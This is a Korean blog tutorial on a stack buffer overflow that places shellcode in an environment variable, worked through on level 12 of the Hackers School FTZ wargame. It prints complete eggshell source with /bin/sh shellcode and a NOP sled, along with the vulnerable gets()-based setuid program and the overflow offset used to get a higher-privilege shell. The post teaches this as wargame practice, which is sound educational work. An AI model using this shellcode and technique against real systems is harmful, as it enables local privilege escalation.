[4] 환경변수를 이용한 버퍼 오버플로우 공격 ( 에그쉘)

2017. 6. 5. 16:39SystemHacking/System

 


 


게시글 [3] 에서 못다한 환경변수를 이용한 버퍼 오버 플로우 공격에 대해서 설명해드리겠습니다

해커스쿨 FTZ 문제들을 예로 들어서 어떤 식으로 환경변수를 사용하는지에 대해서 설명하겠습니다


환경변수를 사용한 공격에는 2가지 방법이 있습니다

1. 에그쉘을 이용해 환경변수를 생성하여 사용하기

2. 직접 환경변수를 선언해서 환경변수를 사용하기




1. 에그쉘을 이용해 환경변수를 생성하여 사용하기


< 에그쉘 소스 코드입니다 > ( /tmp/eggshell.c )

[level12@ftz tmp]$ cat eggshell.c

       

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[]="\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";                                                                // 쉘 생성코드


unsigned long get_esp(void) {

__asm__("movl %esp,%eax");

}

int main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize   = atoi(argv[1]);

if (argc > 2) offset  = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

       exit(0);

}

if (!(egg = malloc(eggsize))) {

       printf("Can't allocate memory.\n");

       exit(0);

}

addr = get_esp() - offset;                                                     // esp의 주소값을 가져온다                         

printf("Using address: 0x%x\n", addr);                                             // esp주소값을 출력한다 ( EGG의 주소임 )

ptr = buff;                                                                                              // 이해가 안되면 게시글[3]참고하세요

addr_ptr = (long *) ptr;

        for (i = 0; i < bsize; i+=4)

{

if(i == 1040)

{

*(addr_ptr++) = 0x1234567;

       }else

       *(addr_ptr++) = addr;

}

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)                               // 정확한 주소값을 찾을 수 없을 때를 위해

*(ptr++) = NOP;                               // 앞부분에 NOP를 채워준다

        for (i = 0; i < strlen(shellcode); i++)                                                // 그 뒤 빈공간에 쉘코드를 작성한다

*(ptr++) = shellcode[i];

        buff[bsize - 1] = '\0';

        egg[eggsize - 1] = '\0';

        memcpy(egg,"EGG=",4);                                                    

        putenv(egg);

        memcpy(buff,"RET=",4);

        putenv(buff);                                                                     // EGG라는 환경변수를 만들었다 

        system("/bin/sh");                                                               // 쉘을 떨어뜨린다

}

 



에그쉘 실행결과입니다 ( [level12 @FTZ tmp]$gcc -o eggshell eggshell.c 컴파일 후 실행 )


< 그림 1 >


환경변수 EGG의 주소가 출력되고, 쉘이 떨어지는 것을 확인할 수 있습니다.

다른 계정의 권한을 갖는 setreuid()함수의 코드가 없는 쉘코드이기 때문에 level12계정 그대로의 권한을 가진상태로 쉘이 떨어집니다

여기서! eggshell 이 출력시킨 EGG의 주소는 거짓말입니다. 따라서 EGG의 주소를 출력하는 다른 소스파일을 하나 더 작성해야합니다



[level12 @FTZ tmp]$vi /tmp/realaddr.c


< 그림 2 >


getenv(Name)함수를 이용해서 EGG의 주소를 얻어와서 출력시키는 소스코드입니다


< 그림 3 >


" /tmp/eggshell " 과 " /tmp/realaddr " 두 파일 모두 환경변수 EGG의 주소를 구하는 파일인데 값이 다릅니다

이게 바로 에그쉘이 거짓말쟁이라는 이유입니다. 실제로 환경변수 EGG가 존재하는 주소는 " realaddr "파일로 구한 주소입니다

그럼 실제로 level12번 문제를 풀어보도록 하겠습니다. 문제의 자세한 풀이는 FTZ카테고리에 해놓았습니다.



level12번 문제의 소스코드파일입니다

 

 #include <stdio.h>

 #include <stdlib.h>

 #include <unistd.h>

 

 int main( void )

 {

char str[256];


  setreuid( 3093, 3093 );                                         // level13의 권한을 상속시켜준다

printf( "문장을 입력하세요.\n" );

gets( str );                                                        // 사용자로부터 문자열을 입력받는다

printf( "%s\n", str );                                           // 입력받은 문자열을 출력한다

 }  



해당 소스코드를 gdb로 분석해서 스택구조를 알아내보았습니다. ( FTZ카테고리에 문제설명 잘해놓았습니다 )


[ str(256byte) ] - [ dummy(8byte) ] - [ SFP(4byte) ] - [ RET(4byte) ]


공격방법

RET 공간에 쉘 코드를 올려놓으면 해당 프로그램이 종료될 때 EIP안으로 쉘 생성코드가 존재하는 주소가 인자로 들어간다

setreuid()함수가 적용된 상태이므로 level13계정의 권한이 떨어지게 되면 공격에 성공한것이다.

그러면 256+8+4=268byte만큼 버퍼오버플로우 시킨 후 쉘 생성코드의 주소를 적으면 되는 것이다


< 그림 4 >


에그쉘이 출력해준 EGG의 주소가 아닌 realaddr 파일을 실행시켜 얻어낸 EGG의 주소를 사용했습니다

level13의 쉘이 떨어졋죠? 에그쉘을 거짓말쟁이입니다.. 이 점을 명심하고 다음 방법2로 넘어가겠습니다 




2. 직접 환경변수를 선언해서 환경변수를 사용하기


< 그림 5 >


$export EGG="" 명령어를 통해서 환경변수를 선언했습니다 ( python 문법을 사용했습니다 )

echo $EGG 명령으로 잘 적용됫는지 확인 할 수 있습니다.


직접 환경변수를 선언했을때에는 에그쉘과는 다른 방법으로 환경변수 EGG의 주소를 구해야합니다 ㅡ 그림 6


< 그림 6 >


argc : 명령어와 인수들의 개수의 합

argv : 인수들을 가르키는 포인터 역할


소스코드 설명

 ptr = getenv( argv[1] )            // argv[1]은 첫번째 인자 , 해당 이름에 해당하는 환경변수의 주소를 얻어온다

 ptr += ( strlen(argv[0])-strlen(argv[2]))*2        // 문자열의 길이에 따라 환경변수의 주소가 바뀌는 경우가 있습니다. 

    // 해당 경우에 대한 오차를 수정해주는 역할을 합니다

* 에그쉘에서는 NOP때문에 오차수정을 할 필요가 없지만 직접 환경변수를 입력할 때에는 필수입니다 !!

마지막으로 printf()함수로 해당 환경변수의 주소를 출력해줍니다. 아래는 실행화면 입니다


< 그림 7 >


argv[0] = ./getaddr

argv[1] = EGG

argv[2] = /home/level12/attackme

환경변수 EGG의 주소를 찾아서 프로그램의 길이에 따른 오차를 수정해준 뒤 출력한 값이 보일것입니다.

해당 주소를 버퍼오버플로우 시켜 RET 주소에 덮어씌웟습니다. level13의 쉘이 떨어졋습니다.




방법 1처럼 에그쉘을 이용해서 환경변수을 선언하고 주소를 구할 수도 있고 방법 2처럼 직접 환경변수를 선언하고 주소를 구할 수 있었습니다

뭐가 더 좋다라고 말할 수는 없겟지만 개인적으로 편한 방법을 사용해서 쉘생성코드를 가져오면 되겠습니다

이상으로 버퍼 오버플로우 공격에 대한 기초설명을 마치겠습니다.